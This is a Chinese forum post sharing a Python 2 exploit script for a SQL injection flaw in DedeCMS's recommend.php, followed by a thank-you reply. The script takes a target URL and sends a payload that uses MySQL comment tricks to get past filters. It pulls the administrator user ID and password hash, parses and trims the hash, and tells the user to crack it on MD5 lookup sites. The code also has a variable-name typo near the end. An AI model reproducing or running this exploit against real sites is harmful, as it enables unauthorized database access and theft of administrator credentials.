dedecms EXP python版本

admin

1. #coding:GBK
   
2. import  re
   
3. import urllib
   
4. """
   
5. dedecms recommend 注入 exp
   
6. 
   
7. 
   
8. f4ck team
   
9. v5ae team
   
10. guest team
    
11. """
    
12. def md5chuli(md5):
    
13.     clhmd5=""
    
14.     md5len=len(md5)
    
15.     if md5len==32:
    
16.         clhmd=md5[6:25]
    
17.         clhmd5=clhmd[3:24]
    
18.     return clhmd5
    
19. 
    
20. error=[]
    
21. target=""
    
22. target=raw_input("输入目标 要带有http哦！")
    
23. b=r".+\..+\..+"
    
24. d=re.findall(b,target)
    
25. if d==error:
    
26.     print "你有毛病？ 你输入的是链接么？"
    
27.     exit()
    
28. else:
    
29.     print "start fuck"
    
30. 
    
31. target2=target+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878"
    
32. print target2
    
33. url=urllib.urlopen(target2)
    
34. page=url.read()
    
35. print page
    
36. pipei=r"<h2>|(.+)|.+|</h2>"
    
37. print re.findall(pipei,page)
    
38. pipeimd5=r"<h2>|.+|(.+)|</h2>"
    
39. targetmd5=re.findall(pipeimd5,page)
    
40. 
    
41. print md5chuli(rargetmd5)
    
42. print "上面即为账号和密码其中之一组 MD5已经处理过 可以直接拿去各大MD5站进行解密"
    
43. print "如果上面什么也没输出来 说明该站没此漏洞"

复制代码

找到好贴不容易，我顶你了，谢了